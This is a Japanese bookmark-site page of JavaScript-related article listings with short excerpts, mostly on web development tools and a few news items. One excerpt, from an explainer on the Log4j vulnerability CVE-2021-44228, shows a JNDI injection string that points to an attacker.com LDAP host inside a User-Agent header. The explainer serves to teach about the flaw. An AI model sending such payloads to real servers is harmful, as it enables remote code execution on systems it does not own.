並び順

ブックマーク数

期間指定

  • から
  • まで

601 - 640 件 / 2778件

新着順 人気順

*JavaScriptの検索結果601 - 640 件 / 2778件

  • console.log()だけのデバッグはやめよう

    はじめに フロントエンドのWeb開発においてconsole.log()というのは非常によくお世話になります. しかしconsoleオブジェクトにはには他にもたくさんのインスタンスメソッドがあり,それらを使わずに開発を行うのは少しもったいないです. この記事では様々な機能を紹介していき明日から開発で使用していただければ嬉しいです. assert console.assert()は第一引数に論理式をとり,第二引数以降には任意のオブジェクトを取ります. 第一引数がfalseとなった場合,第二引数をコンソールに出力します. サンプル

      console.log()だけのデバッグはやめよう
    • 認知症高齢者、暗証なしも 保険証と本人確認のみ利用―マイナカード:時事ドットコム

      認知症高齢者、暗証なしも 保険証と本人確認のみ利用―マイナカード 2023年07月04日16時09分配信 マイナンバーカードの見本 松本剛明総務相は4日の閣議後記者会見で、マイナンバーカードの管理に不安を感じる認知症の高齢者らを対象に、暗証番号の設定がなくても交付できるようにする方針を表明した。健康保険証と一体化した「マイナ保険証」や本人確認書類としての利用に制限されるが、暗証番号を覚える必要がなくなる。具体的な手順をさらに検討し、11月ごろの開始を目指す。 <マイナンバー>関連ニュースをもっと読む 暗証番号の設定を不要とするのは、カードの申請や交付の際に、本人や代理人から申し出があった場合が対象。カードを取得済みで、暗証番号なしのものを利用したい人への対応は、総務省が検討する。暗証番号の設定がないと、カードの個人向けサイト「マイナポータル」や、各種証明書のコンビニ交付サービスなどは利用で

        認知症高齢者、暗証なしも 保険証と本人確認のみ利用―マイナカード:時事ドットコム
      • CSSでスクロールが連鎖するのを回避する古い方法とoverscroll-behaviorを使った新しいテクニック

        スクロールの連鎖(スクロールチェーン)とは、ページ上にスクロールするコンテンツがあり、そのコンテンツをスクロールして終点に到達するとメインのコンテンツもスクロールしてしまう現象です。 モーダルにスクロールがある場合、スマホのナビゲーションにスクロールがある場合、固定サイドバーにスクロールがある場合など、スクロールチェーンしないように実装するCSSのテクニックを紹介します。 Prevent Scroll Chaining With Overscroll Behavior by Ahmad Shadeed 下記は各ポイントを意訳したものです。 ※当ブログでの翻訳記事は、元サイト様にライセンスを得て翻訳しています。 はじめに スクロールチェーンとは 古い解決方法 今の解決方法: overscroll-behavior overscroll-behaviorの使用方法 終わりに はじめに posi

          CSSでスクロールが連鎖するのを回避する古い方法とoverscroll-behaviorを使った新しいテクニック
        • サーバ不要でバックエンドAPIのモックを実現する「Mock Service Worker 2.0」正式リリース。Fetch API、ストリームAPI対応など新機能

          サーバ不要でバックエンドAPIのモックを実現する「Mock Service Worker 2.0」正式リリース。Fetch API、ストリームAPI対応など新機能 Webアプリケーションのクライアントを開発する際に、本来ならばサーバ上で稼働するWebアプリケーションのバックエンドのAPIを呼び出してデータを受け取って表示するといった動作を作り込みたいけれども、まだバックエンドのAPIも開発中であったり、何らかの理由でバックエンドを稼働させる環境を用意できなかったりすることは、しばしば起こりえます。 そうしたときにサーバを立てることなく、バックエンドのAPIをモックとして簡単に設定し提供してくれるソフトウェア「Mock Service Worker」の最新版「Mock Service Worker 2.0」が正式にリリースされました。 Announcing MSW 2.0! Migratio

            サーバ不要でバックエンドAPIのモックを実現する「Mock Service Worker 2.0」正式リリース。Fetch API、ストリームAPI対応など新機能
          • 【海外記事紹介】Microsoftがオープンソースで公開した「LiteBox」が実は革新的だった — Linuxカーネルを抽象化したRust製「ライブラリOS」、セキュアで高速なサンドボックスを実現

              【海外記事紹介】Microsoftがオープンソースで公開した「LiteBox」が実は革新的だった — Linuxカーネルを抽象化したRust製「ライブラリOS」、セキュアで高速なサンドボックスを実現
            • 【図解】Pythonのライブラリ 24選+α - Qiita

              Pythonにはライブラリが沢山あります。ライブラリとは便利な機能を持ったプログラムを集めたものを言い、このライブラリを上手く使うことで色々なことを実現できます。 今回はこのライブラリを用途別で図解にまとめました。 Pythonでプログラムを組む際の参考になりましたら幸いです。 ※簡単にまとめているだけなので、詳しい中身は公式ドキュメント等をご確認ください。 追記(2023/12/25) 当記事がありがたいことに好評いただけたので、Pythonの基礎も図解化しました。あわせてご活用いただけますと幸いです。 追記(2024/8/22) 上述の「【図解】Python基礎64選」が更にパワーアップした「Python 基礎文法の教科書」をzennにて公開しました。こちらも興味のある方はご確認いただけますと幸いです。 機械学習 機械学習 ⊃ 深層学習という包含関係です。 ざっくり言うと、特定のタスク

                【図解】Pythonのライブラリ 24選+α - Qiita
              • マイクロソフト、OSを介さず仮想化ハイパーバイザ上でWasmを高速起動し実行できる「Hyperlight Wasm」、オープンソースで公開

                マイクロソフト、OSを介さず仮想化ハイパーバイザ上でWasmを高速起動し実行できる「Hyperlight Wasm」、オープンソースで公開 Hyperlightはマイクロゲストを実現するライブラリ Hyperlight Wasmの基盤となるHyperlightは、仮想化ハイパーバイザ上にマイクロゲストを作成するライブラリソフトウェアです。 そもそも仮想化ハイパーバイザでは一般に、ホストとなる仮想化ハイパーバイザ上にゲストとなる仮想マシンが作成され、その仮想マシン内でOSが実行され、OS上でアプリケーションが実行される、という階層構造になっています。 仮想マシンやOSなどから構成されるこうした階層構造のおかげで、アプリケーションの実行環境の互換性が保たれるわけですが、一方でこれはコンピューティングリソースの面ではオーバーヘッドであり、アプリケーションが起動するまでの時間もかかります。 Hyp

                  マイクロソフト、OSを介さず仮想化ハイパーバイザ上でWasmを高速起動し実行できる「Hyperlight Wasm」、オープンソースで公開
                • Just WebFrontend - 学び直しとメンタルモデル再構築

                  "Rebuild your mental model of web frontend programming." Web フロントエンドやそれにまつわるプログラミングにとりかかる上でもっておきたいメンタルモデルについて考える本です。 新しい知識は提供しませんが、Web フロントエンドの学び直し・向き直りをすることで楽しさ・自信を提供したいと考えています。 Web フロントエンドにおいて考えたいことは何なのか。 特定技術に左右されず、持っておくと良さそうなメンタルモデルとはどういったものなのか。 React, Angular を例に取り上げて 2 つの特徴を洗い出し、Web フロントエンドのコンポーネント志向と持っておくとよさそうなメンタルモデルについて考えます。 誤り・ご指摘やご意見があればフィードバックいただけると嬉しいです。

                    Just WebFrontend - 学び直しとメンタルモデル再構築
                  • pixivをNext.jsでリプレイスする取り組みをご紹介します。 - pixiv inside

                    pixivではNext.jsを用いたフロントエンドのリプレイスプロジェクトを2022年3月末より行っており、現時点(2022年8月)でリクエスト機能をNext.jsにてリプレイスしました。 今回のpixiv insideではピクシブ株式会社で働くエンジニアの取り組みとして、pixivのフロントエンドをNext.jsでリプレイスする取り組みについて実際に取り組んだメンバーからご紹介します。 まずは皆さんの自己紹介をお願いします namazu: pixivのウェブ領域に関するテックリードを担当しているnamazuです。今回のNext.js化プロジェクトではPjMやNext.jsのホスティング回りの実装を担当しています。 shu: 2022年3月に入社したshuです。Next.js化ではフロントエンドの設計、実装を担当しています。 mog: エンジニアとしてアルバイトをしているmogです。Nex

                      pixivをNext.jsでリプレイスする取り組みをご紹介します。 - pixiv inside
                    • Auth.js v5ではじめる本格認証入門

                      Next.js 14 / Auth.js v5 / Prisma / Planet Scale / shadcn/ui / Tailwind CSS を用いた認証・認可をハンズオン形式で学びます。

                        Auth.js v5ではじめる本格認証入門
                      • 俺のフロントエンド依存管理ポリシー20241120

                        ポリシー: この世界では常に最新版を使うという気持ちで生きていく Node.js は枯れるという概念がなく、常に古いことはリスク という認識。LTS も短め(3年) 古いAPIのドキュメントは常に消失する モダンなツールは、モダンな前提を要求する ~2020: CJS/ESM 関連で断絶がある(jestが動かなくなりつつある) ~2019: パフォーマンス意識が低い時代の実装が多い ~2015: Node.js のみでしか動かないものが多い。peerDeps の意識が低い この辺で目視でポチポチする npm: npm-check-updates - npm yarn upgrade-iteractive pnpm upgrade -i サーバーランタイムには安定を、ツールチェインにはパフォーマンスを サーバーランタイム(Node.js) Node 本体は Stable LTS か、一つ前の

                          俺のフロントエンド依存管理ポリシー20241120
                        • WebContainer API is here.

                          In 2021 we announced WebContainers, a novel WebAssembly-based operating system which enables Node.js to run entirely inside the browser. Over the last two years, millions of developers have used WebContainers each month as it powers, among others, the StackBlitz editor. Today we are thrilled to release the WebContainer API for public use and we invite the entire JavaScript and Node.js community to

                            WebContainer API is here.
                          • 「遺体ホテル」への反対運動 経営者が語った〝至極まっとうな反論〟

                            地元民への〝至極まっとうな反論〟 少ない火葬場の待機期間を支える役割 「亡くなった人」を歓迎しない世界 もし、自分の家の隣に「遺体ホテル」が作られると聞いたらどうしますか? 各地で起きる反対運動の根底には何があるのか。評論家で著述家の真鍋厚さんは、死体を嫌がることは「究極の自己否定」だと説きます。日常から見えなくなった死体の存在。そんな中で進むいびつな多様性の実態について、真鍋さんにつづってもらいました。 地元民への〝至極まっとうな反論〟 死体、遺体、亡骸(なきがら)……様々な言葉によって表される「亡くなった人」たち。わたしたちと同様、身体はあるが、生きてはいない。具体的には、呼吸がなく、心臓が動いておらず、瞳孔が光に反応しない状態を指す。 医師が判定するまでは「死亡」とはならないが、便宜上はそれが「亡くなった」ことを物語る。言うまでもなくわたしたちも遅かれ早かれそこへ仲間入りを果たすこと

                              「遺体ホテル」への反対運動 経営者が語った〝至極まっとうな反論〟
                            • クリエイターの作業をラクにする最新Web、オンラインツール33個まとめ | PhotoshopVIP

                              クリエイターの作業をラクにする最新Web、オンラインツール33個まとめ これからはこれだ、次世代の便利ツールが大集合 「こんなツール、あったの?」と思ってしまう、話題の最新オンラインツールをまとめてご紹介します。 デザインのインスピレーションが欲しいときや、やりたくなり面倒な作業を一発完了したり、時短にもつながる便利ツールが揃います。 カテゴリごとに整理しているので、目的にあったお気に入りツールを探してみましょう。 コンテンツ目次 1. デザインツール 2. Webデザイン便利ツール 3. モックアップ・UIツール 4. アイコンツール 5. クリエイティブ・面白ツール Web制作の効率、生産性アップ!話題の最新オンラインツールまとめ デザインツール Ukiyoe Stock 4,200以上の和風、浮世絵イラスト素材を集めたサイト、他の無料イラストサイトと一緒にいかがでしょう。 Palet

                                クリエイターの作業をラクにする最新Web、オンラインツール33個まとめ | PhotoshopVIP
                              • Notion | Where teams and agents work together

                                A collaborative AI workspace, built on your company context. Build and orchestrate agents right alongside your team's projects, meetings, and connected apps.

                                  Notion | Where teams and agents work together
                                • Python開発者のためのセキュアコーディングのコツ10個 - Qiita

                                  本記事は2021年9月27日に公開したPython security best practices cheat sheetを日本語化した内容です。 2019年、Snykは最初のPythonチートシートをリリースしました。それ以来、Pythonのセキュリティの多くの側面が変化しています。開発者向けセキュリティ企業として学んだこと、そしてPython特有のベストプラクティスに基づいて、Pythonのコードを安全に保つために、この最新のチートシートをまとめました。 【チートシート】2021年版Pythonセキュリティベストプラクティス 本記事では、下記に関するPythonのセキュリティに関するヒントを紹介します。 外部データを常にサニタイズする コードをスキャンする パッケージのダウンロードに注意 依存先パッケージのライセンスを確認する システム標準版のPythonを使用しない Pythonの仮

                                    Python開発者のためのセキュアコーディングのコツ10個 - Qiita
                                  • Next.js製アプリケーションのコンパイルを約100倍高速化した話

                                    Next.jsアプリケーションの開発時においてコンパイルが長時間に及ぶ問題が起きていたので、その原因を特定した手法と採用した解決策について記載します。 今回は結果的にコンパイル時間を100倍以上高速化することができました。 前提 今回の対応は以下のバージョンで行いました。 React@18.2.0 next@12.2.4 tailwindcss@3.2.4 postcss@8.4.14 Next.js の開発中に、コンパイル時間が長くなっていることに気づく 最近、Next.jsアプリケーションのローカル開発時に待ち時間が長くて生産性が低いのでなんとかしたい、という相談を受け、調査を開始しました。 まず、おもむろにyarn devでプロセスを立ち上げてみたところ、以下のようなコンパイル時間を示すログが表示されました。 yarn dev yarn run v1.22.19 $ next dev

                                      Next.js製アプリケーションのコンパイルを約100倍高速化した話
                                    • SOLID原則を理解し、JavaScriptで実践するためのガイド - deve.K's Programming Primer - プログラミング初心者のための入門ブログ

                                      ソフトウェア開発者にとって、堅牢でテスト可能で拡張性があり、保守性の高いオブジェクト指向のソフトウェアシステムを設計することは重要です。 そこで登場するのがSOLID原則です。 SOLIDは、ソフトウェア開発中に生じるかもしれない特定の問題を解決するために5つの設計原則が組み合わさったセットです。 この記事では、SOLID設計の原則について詳しく学んでいきます。 具体的には、SOLID原則が何を意味しているのか、各部分がそれぞれ何を表しているのか、また実際のプログラム例を挙げながら現役のプログラマーが説明します。 さらに、JavaScriptを使ってこれらの原則を実装する方法も紹介します。 SOLID設計原則とは? 単一責任原則 (SRP) Open/Closed原則 リスコフ置換原理 (LSP) インターフェース分離原則 (ISP) 依存関係逆転の原則 最後に SOLID設計原則とは?

                                        SOLID原則を理解し、JavaScriptで実践するためのガイド - deve.K's Programming Primer - プログラミング初心者のための入門ブログ
                                      • 2022年Reactを使ってる人には必ず知っていてほしい最強のdata fetchingライブラリであるRTK Queryの優位性とメンテナンスの際に役立つTips - Qiita

                                        import { emptySplitApi as api } from "./emptyApi"; const injectedRtkApi = api.injectEndpoints({ endpoints: (build) => ({ updatePet: build.mutation<UpdatePetApiResponse, UpdatePetApiArg>({ query: (queryArg) => ({ url: `/pet`, method: "PUT", body: queryArg.pet }), }), addPet: build.mutation<AddPetApiResponse, AddPetApiArg>({ query: (queryArg) => ({ url: `/pet`, method: "POST", body: queryArg.pet, })

                                          2022年Reactを使ってる人には必ず知っていてほしい最強のdata fetchingライブラリであるRTK Queryの優位性とメンテナンスの際に役立つTips - Qiita
                                        • Python だけで作る Webアプリケーション(フロントエンド編)ーはじめに - Qiita

                                          お疲れ様です。 今日からは「Python だけで作る Web アプリケーション(フロントエンド編)」について部分いたします。 はじめに 設計方針 共通部分の作成 ログインページ 商品一覧ページ 商品詳細ページ カートページ 注文一覧ページ 注文詳細ページ まとめ 今回は10の記事に分けて投稿するようにします。 今日は「はじめに」について部分いたします。 なぜ本書を書いたのか 本書は主に以下のような方を対象にしています。 Web アプリケーションの構築経験がない新米エンジニア Python はかけるが、HTML/JS/CSS が苦手な Pythonista 細かい UI の設定はせず、検証・デモ用の Web アプリを短期間で作りたい開発チーム どうやって作ったか 対象読者の悩みを解決するために、次の 3 つの要素が必要と考えました。 Web アプリケーションの基礎知識 参考にしてもらえる品質

                                            Python だけで作る Webアプリケーション(フロントエンド編)ーはじめに - Qiita
                                          • PlaywrightのVSCode拡張を使って効率的にテストを書く

                                            この記事では、Playwright の VSCode 拡張を使って GUI 操作のみでテストの記録や実行する方法について紹介します。 Playwright の VSCode 拡張とは? Playwright の VSCode 拡張は、Playwright の作成元である Microsoft が公式に提供している拡張機能で、VSCode 内で直接ブラウザテストの記録や実行を支援するための便利なツールです。 GUI 操作を中心に、テストの記録や実行を手軽に行うことが可能となります。 VSCode 拡張のインストールは、以下のリンクから行うことができます。 VSCode 拡張を活用してテストを書く 本記事では、シンプルな ToDo アプリを例にテストの作成方法を説明します。Playwright のインストール方法は、公式ドキュメントをご参照ください。その後、VSCode に Playwright

                                              PlaywrightのVSCode拡張を使って効率的にテストを書く
                                            • Next.js, Prisma, GraphQL Code Generator で作るフルスタック Web アプリケーション

                                              Next.js, Prisma, GraphQL Code Generator で作るフルスタック Web アプリケーション おもにNext.js、Prisma、GraphQL Code Generatorを用いたWebアプリケーションの構築手法について解説した書籍となります。 上記技術に加えて、以下の技術も採用しています。 ・Tailwind CSS ・NextAuth.js ・Apollo GraphQL ・Prettier ・ESLint ・Vitest ・React Testing Library ・GitHub Actions モダンなWebアプリケーションの開発手法について興味がある方にオススメです。 1章 Next.jsのセットアップ 2章 Prismaのセットアップ 3章 GraphQL Code Generatorのセットアップ 4章 テストコードの追加 5章 本番環境へ

                                                Next.js, Prisma, GraphQL Code Generator で作るフルスタック Web アプリケーション
                                              • CSSで文節の折り返しを! br・wbrとauto-phraseの活用術 - ICS MEDIA

                                                ウェブでのテキストの折り返しは、HTMLコーダーにとって意外と難しい分野です。多様な画面サイズが存在する現代では、適切なテキストの折り返しについて悩むことが少なくありません。 この記事で紹介する折り返しとは、以下のようなテキストの区切りの良い場所で改行するかどうかです。 ▼固定幅で折り返し どこで生れたかとんと見当がつかぬ。何で も薄暗いじめじめした所でニャーニャー泣 いていた事だけは記憶している。 ▼文節での折り返し どこで生れたかとんと見当がつかぬ。 何でも薄暗いじめじめした所で ニャーニャー泣いていた事だけは記憶している。 本記事では、HTMLコーディングにおいて改行・折り返し方法の選択肢を整理し、最適な方法について考察します。 この記事で紹介すること <br />と<wbr />タグを使った改行指定 CSSのword-break: auto-phraseを使った自動折り返し JSラ

                                                  CSSで文節の折り返しを! br・wbrとauto-phraseの活用術 - ICS MEDIA
                                                • microsoft/vscodeを読んだ|laiso

                                                  「Cursorのタイムマシンビジネスで大儲けや〜」みたいなネタを見て、アッそういえばフォークエディタ作ってみたいんだったと思い出してソースからビルドしてみることにした。 VSCodeのビルドは思ったより難しくなかった。LinuxにElectronアプリを作れる環境を整えただけで、これはこれですごい もっと特殊な魔改造Chromium+Cコンパイラ最適化とかしてるのかと思い込んでいた。 ただ、codeコマンドはRustで書いてあった。これは初めて知った。 カスタムビルドを起動できるようになったので、コアコンポーネントをいじって壊してみる。 layout.tsなどを起点にどのファイルがどの機能を実装しているのかを把握した。 これでVSCode内部をどこでも変更できるようになった。いったん満足した。 Copilot Chat次はついでにCopilot Chat拡張のコードを読んでみる。 exte

                                                    microsoft/vscodeを読んだ|laiso
                                                  • 最近のCloudflare Workers - ゆーすけべー日記

                                                    最近のCloudflare Workersについて、知らない方向けにざっくばらんに書いてみます。 連絡事項 自己紹介しておくと、僕はCloudflareのDeveloper RelationsチームにいてDeveloper Advocateをやってます。 一方で、HonoというCloudflareのみならずDenoやBun、Fastly等で動くWebフレームワークを開発してます。 Cloudflare Workersとは? 本題に入る前に、そもそも「Cloudflare Workersとは?」を簡単に紹介しておきます。 Cloudflare WorkersとはCloudflareのエッジで動くサーバーレス環境です。 基本的にJavaScript/TypeScriptでアプリケーションを書きます。 V8というJavaScriptエンジンの上でアプリを動かすのですが、これはWebブラウザのGo

                                                      最近のCloudflare Workers - ゆーすけべー日記
                                                    • ChatGPT APIを取り巻くライブラリ 〜LangChainとguidanceの紹介 | gihyo.jp

                                                      こんにちは! 逆瀬川(@gyakuse)です! 前回はOpenAIが公開しているChat APIとWhisper APIを用いて議事録文字起こしアプリケーションを作ってみました。今回は、Chat APIを便利に使うためのライブラリであるLangChainとguidanceを紹介していきます。 なぜ便利に使うためのライブラリが必要なのか? 単純にChat APIにリクエストを送るだけであれば、各言語に用意されたライブラリを使うだけで良いでしょう。たとえば、Pythonにおいてはopenai-pythonが用意されています。前回紹介したとおり、Chat APIを使うだけなら以下のようなリクエストを作るだけで済みます。 import openai openai.api_key = "sk-..." # APIキー completion = openai.ChatCompletion.create

                                                        ChatGPT APIを取り巻くライブラリ 〜LangChainとguidanceの紹介 | gihyo.jp
                                                      • クリーンアーキテクチャはなぜフロントエンドに合わないのか - パンダのプログラミングブログ

                                                        パンダとおくだが、Web業界の当たり前を「これって本当にそうだっけ?」と問い直すラジオを配信しています はじめに 昨年末にこんなツイートをしたら、ちょっとバズってしまいました。aaa https://x.com/Panda_Program/status/1864333831886786971 色々コメントを頂くことで考えを深めてブログを書きますと言っていて、まだ着手していなかったのでざっと書くことにします。ただ、今日はクリーンアーキテクチャが対象です。 簡単に自己紹介をすると、私は現職でフルスタックエンジニアをしています。また、「バックエンドのためのフロントエンド入門」 というテーマで登壇をしたり、自分のエンジニア人生を変えた書籍リストにクリーンアーキテクチャを挙げており、TypeScript でクリーンアーキテクチャを実践する という記事では Web からでも CLI からでも動かせるア

                                                          クリーンアーキテクチャはなぜフロントエンドに合わないのか - パンダのプログラミングブログ
                                                        • 「やはり検察がメンバーを選んでいた」再審見直しに批判相次ぐ法制審、開示文書から浮かぶ“出来レース”の構図 - 弁護士ドットコムニュース

                                                          刑事裁判をやり直す「再審」制度の見直しを議論した「法制審議会・刑事法部会」の委員らについて、検察官である法務省刑事局長が候補として示した有識者が、そのまま選ばれていたことが、法務省への開示請求で入手した文書からわかった。(弁護士ドットコムニュース・一宮俊介) 法制審がまとめた見直し案には、検察官による不服申し立て禁止などが盛り込まれず、「冤罪被害者を救えない」などの批判が集まっているが、刑事局長が指定した委員は全員がこの見直し案に賛成していた。 検察官の人事に詳しい熊本大学の岡本洋一准教授は「うわさでは聞いたことがあったが、実際の文書を見ると、やはり検察官である刑事局長が法制審の委員・幹事を事実上選んでいたのかということがわかる」と話す。 ●昨年12月「委員の選定経緯がわかる文書」を開示請求 弁護士ドットコムニュースは2025年12月、再審制度の見直しを議論している「法制審・刑事法部会」の

                                                            「やはり検察がメンバーを選んでいた」再審見直しに批判相次ぐ法制審、開示文書から浮かぶ“出来レース”の構図 - 弁護士ドットコムニュース
                                                          • 【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について

                                                            JNDI とはJava Naming and Directory Interface という、Java アプリケーションが DNS や LDAP 等のサービスを利用するための汎用的なインタフェース (ライブラリ) です。 Log4j と JNDI lookupApache Software Foundation が開発した、Java ベースのロギングに関するライブラリです。JNDI lookup という機能があり、書き込んだログの一部を自動で変数化します。今回はこの機能が悪用されています。 CVE-2021-44228 の攻撃シーケンスの例 攻撃者は脆弱性をトリガーするために http ヘッダの User-Agent に ${jndi:ldap://attacker.com/a} という文字列を埋め込み、http リクエストを送信します。脆弱性のあるサーバの Java App はその通信を

                                                              【図解】Log4jの脆弱性 CVE-2021-44228 (Log4shell or LogJam) について
                                                            • JavaScriptの上限・限界値 - Qiita

                                                              JavaScriptの文字列や配列は最長でどこまで格納できるか、気にしたことはありますか?関数は何個まで引数を取れるのでしょうか?ブロックのネストは何段まで? この記事では、そんな素朴な疑問に答えてみます。 テストに使った環境は、 macOS 12.3.1 (Arm64) Node.js v17.7.2 Firefox Nightly 102.0a1 (2022-05-29) です。当たり前ですが、この記事に載せる数値は環境によって変わる可能性があります。 テストに使ったスクリプト類は https://github.com/minoki/javascript-limits に置いてあります。 文字列の長さ まずは文字列の長さです。 規格には The String type is the set of all ordered sequences of zero or more 16-bit

                                                                JavaScriptの上限・限界値 - Qiita
                                                              • Vue にまつわる3つのよくある誤解と、私がVueを選ぶ4つの理由

                                                                2025/09/30 Next.js vs Nuxt それぞれの良さを知る Frontend Night https://offers-jp.connpass.com/event/367375/ の登壇資料です!

                                                                  Vue にまつわる3つのよくある誤解と、私がVueを選ぶ4つの理由
                                                                • GitHubのトレンドで振り返る2021年のJavaScript/TypeScript

                                                                  今年も GitHub のトレンドで 2021 年の JavaScript/TypeScript を振り返ります。去年の記事はこちらです。 — GitHub のトレンドで振り返る 2020 年の JavaScript | WEB EGG 集計方法 GitHub トレンドは過去の履歴を公式に提供していないため、非公式に集計されたデータを利用しています。 データソースはlarsbijl/trending_archiveを使用 去年はxiaobaiha/github-trending-historyを利用したが今年のデータは無かったので変更 日ごとにまとめた markdown になっており、remark で AST→ データ化しました 集計期間は 2021/01/01 から 2021/12/15 まで 対象言語はJavaScriptとTypeScriptのみ 集計後のデータはこちらのスプレッドシー

                                                                    GitHubのトレンドで振り返る2021年のJavaScript/TypeScript
                                                                  • トヨタはなぜ「ハイブリッド推し」なのか。小学生レベルの計算でわかる真っ当な理由 | Motor-Fan[モーターファン] 自動車関連記事を中心に配信するメディアプラットフォーム

                                                                    「選択肢はひとつではない」「敵はCO2であり、特定のパワートレーンではない」と、トヨタの豊田章男会長はずっと言い続けてきた。中国と欧州でBEV(バッテリー電気自動車)が売れまくっている時期にトヨタは、ひたすらHEV(ハイブリッド車)のラインアップを増やした。これに対し多くのメディアが「日本はBEVで出遅れた」とツッコミを入れた。しかしこれは早いといか遅れたとかの話ではない。HEVを大量普及させることに大きな意義がある。 TEXT:牧野茂雄(MAKINO Shigeo) 日本はHEVのおかげでCO₂削減の優等生 (グラフ1)IEA(国際エネルギー機関)のデータ。2001年から2019年までの自動車分野排出CO₂の推移である。日本が地道にHEVを普及させ、CO2を減らし続けてきたことがわかる。 2019年の段階ですでに1000万台のHEVが日本の道を走っていた。その効果は大きく、2001年を1

                                                                      トヨタはなぜ「ハイブリッド推し」なのか。小学生レベルの計算でわかる真っ当な理由 | Motor-Fan[モーターファン] 自動車関連記事を中心に配信するメディアプラットフォーム
                                                                    • p5.jsによるクリエイティブコーディング入門 - ICS MEDIA

                                                                      ウェブ技術を用いたクリエイティブコーディング環境にはさまざまなものがありますが、プロトタイピングや2D表現には、Canvas 2DをラップしたJavaScriptライブラリ「p5.js」が非常に便利です。この記事ではp5.jsの強み、便利な関数と作例を紹介し、自分で作成した作品の公開方法について解説します。 p5.jsとは p5.jsは、ウェブ上でグラフィカルな表現ができるJavaScriptライブラリで、基礎的なプログラミングの知識さえあれば手軽に創作を始められるのが魅力です。 またp5js.orgが提供しているウェブエディターを使うと、環境構築なしにブラウザ上でクリエイティブコーディングが始められます。たった数十行のみのコードでもメディアアート作品のような出力が得られる、とても興味深いライブラリです。今回はp5.js Web Editorを使って簡単なアニメーションを制作しましょう。

                                                                        p5.jsによるクリエイティブコーディング入門 - ICS MEDIA
                                                                      • Rails 7.0でアセットパイプラインはどう変わるか | Wantedly Engineer Blog

                                                                        Rails 7.0ではフロントエンドサポートが刷新されます。新たなライブラリが多数導入され、選択肢が増えるため、「Rails公式のものを選べばOK」という戦略が通用しなくなります。 本稿では、Railsでフロントエンドを書くための選択肢について、その歴史と実装を踏まえて比較検討します。 結論から言うと(まだアルファ版なので今後も状況が変わる可能性はありますが、) 新規アプリケーションではSprocketsの役割は無くなりそうです。新しいライブラリとして Propshaft, importmap-rails, jsbundling-rails, cssbundling-rails が登場し、主要な選択肢として以下が提供されます。 (各ライブラリの詳細については後述します) Propshaft + importmap-railsデフォルトの選択肢。Node.jsが不要。トランスパイルを含め、複

                                                                          Rails 7.0でアセットパイプラインはどう変わるか | Wantedly Engineer Blog
                                                                        • Obsidian MCPサーバーをClaude Desktopで使ってみた | DevelopersIO

                                                                          お疲れさまです。とーちです。 MCPの公式ページのExample Serversを眺めていたら Obsidian Markdown Notes というMCPサーバー(以後obsidian-mcp)があることを知りました。 Obsidianユーザーとしては、ぜひ試してみたいところです。この記事ではobsidian-mcpを実際に試してみた内容をお届けします。 インストール方法 今回はClaude DesktopをMCPクライアントとして使用します。Claude Desktopは既にインストールされている状態から始めます。 また、obsidian-mcpを使うためにはnpxコマンドが必要になります。このコマンドはNode.jsが入っていれば使えるはずです。 今回私が試した環境は以下のようなバージョンでした。 インストールは npx @smithery/cli install mcp-obsid

                                                                            Obsidian MCPサーバーをClaude Desktopで使ってみた | DevelopersIO
                                                                          • 相続税の節税対策20選・生前贈与から相続発生後の対策まで一挙解説!|相続大辞典|【相続税】専門の税理士60名以上|税理士法人チェスター

                                                                            1.相続税の節税対策を「節税効果」「手軽さ」で分類これから相続税の節税対策として20のケースをご紹介します。 ただ、20のケースの節税対策を順番にお伝えしても「どれぐらい節税効果があるのか」、「手軽にできるかどうか」がわかりづらいかもしれません。 そこで、個々の節税対策をご紹介する前に、「節税効果」と「手軽さ」を図で示した判定シートをご覧いただきます。 不動産を活用した節税対策は効果が大きいですが、数千万円~数億円の資金が必要になるため、手軽にできる対策とはいえません。 一方、少額の生前贈与は手軽にできますが、節税効果は限られてしまいます。 それぞれの対策の効果と手間を見極めて、どの節税対策に取り組むかを考えてみましょう。 相続税の節税対策の一覧 毎年コツコツ110万円ずつ贈与する配偶者に自宅を贈与する(おしどり贈与)子や孫にマイホームの購入資金を贈与する子や孫に教育資金を一括贈与する子や

                                                                              相続税の節税対策20選・生前贈与から相続発生後の対策まで一挙解説!|相続大辞典|【相続税】専門の税理士60名以上|税理士法人チェスター
                                                                            • まだAPIが出来ていない?私は一向にかまわんッッ

                                                                              初記事です。 あるフロントエンドの悩み プロジェクトの納期は決まっていて、すぐに着手しないといけない。 だけど、API はまだできていない... 早く着手したい...、ふぬぬ...。 今回はそんなフロントエンドがバックエンドのタスクの待ちにならないように、並行してアジャイルに開発していけるツールとしてmswをご紹介します。 mswとは? mswとはmock service workerの略で、簡単にモックのAPIを立てることができるライブラリです。 同様のことができるライブラリとしてJSON Serverもありますが、mswには以下の利点があります。 単純にJSONを返すのではなく、ロジックも書くことができる Expressのようにスッキリ書くことができる RESTだけでなく、GraphQLにも対応している 以下のようなケースに向いていると思います。 早く着手しないといけないけど、API

                                                                                まだAPIが出来ていない?私は一向にかまわんッッ
                                                                              • オープンソース・プロジェクトのたたみ方

                                                                                本記事は Embulk に関する以下のアナウンスの、非公式日本語版 + α です。 Embulk の「メンテナンス・モード」 去る 2025 年 10 月 15 日、その時点で GitHub の embulk organization に入っていた人に向けて、以下のようなメールを送りました。 Embulk に関係し、中でも Embulk の GitHub org にいる皆さま、 Embulk 関係の git log から確認できた公開メールアドレスや、個別に確認できたメールアドレス宛にお送りしています。 … (中略: 英語でのごあいさつなど) … ご無沙汰しております。みくるべです。 このところ、一部から RubyGems 周辺の話題が聞こえてきます。 https://rubycentral.org/news/rubygems-org-aws-root-access-event-septe

                                                                                  オープンソース・プロジェクトのたたみ方
                                                                                • ブログをAstro に移行しました - As a Futurist...

                                                                                  式年遷宮の様な感じですが、数年おきにブログを作り直してます(前回)。今回は Gatsby でデザインした UI をほぼそのままに、フレームワークを Astro に移行しました。静的サイトの作成では Astro の開発者体験が最高に優れているので、2 年間ほぼ塩漬けにしてしまっていた Gatsby のコードを無事に移行できてよかったです。 Astro とは? Astro は 一言で言うと、Better HTML です。Astro というフォーマットでサイトが記述できるのですが、普通の(素の)HTML も Astro としてそのまま使えます。厳密には違いますが、HTML のスーパーセットみたいな感じです。その HTML の要素群を component としてまとめることで関心を分離できて(この辺は Web Components でも実現できます)、必要に応じてビルド時にロジックも走らせることが

                                                                                    ブログをAstro に移行しました - As a Futurist...

                                                                                  新着記事